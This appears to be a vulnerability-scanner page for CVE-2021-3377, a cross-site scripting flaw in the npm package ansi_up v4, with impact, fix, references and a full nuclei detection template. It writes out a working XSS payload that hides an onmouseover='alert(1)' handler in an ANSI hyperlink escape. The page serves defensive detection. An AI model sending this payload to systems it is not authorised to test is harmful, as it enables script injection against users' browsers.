CVE-2021-3377· ansi up project / ansi up· CWE-79
npm ansi_up v4 - Cross-Site Scripting
mediumseverity
6.1CVSS score
8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.
Fix
Upgrade to v5.0.0 or later.
How to confirm it
Send: GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007
Positive when: contains in header "text/html" AND contains "sh\"/onmouseover=\"alert(1)\">"Run it with nuclei: nuclei -id CVE-2021-3377 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-3377
info:
name: npm ansi_up v4 - Cross-Site Scripting
author: geeknik
severity: medium
description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.
remediation: Upgrade to v5.0.0 or later.
reference:
- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-3377
cwe-id: CWE-79
epss-score: 0.08
epss-percentile: 0.94809
cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: ansi_up_project
product: ansi_up
framework: node.js
tags: cve2021,cve,xss,npm,ansi_up_project,node.js,vuln
http:
- raw:
- |+
GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
Host: {{Hostname}}
Connection: close
unsafe: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
words:
- "sh\"/onmouseover=\"alert(1)\">"References
- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from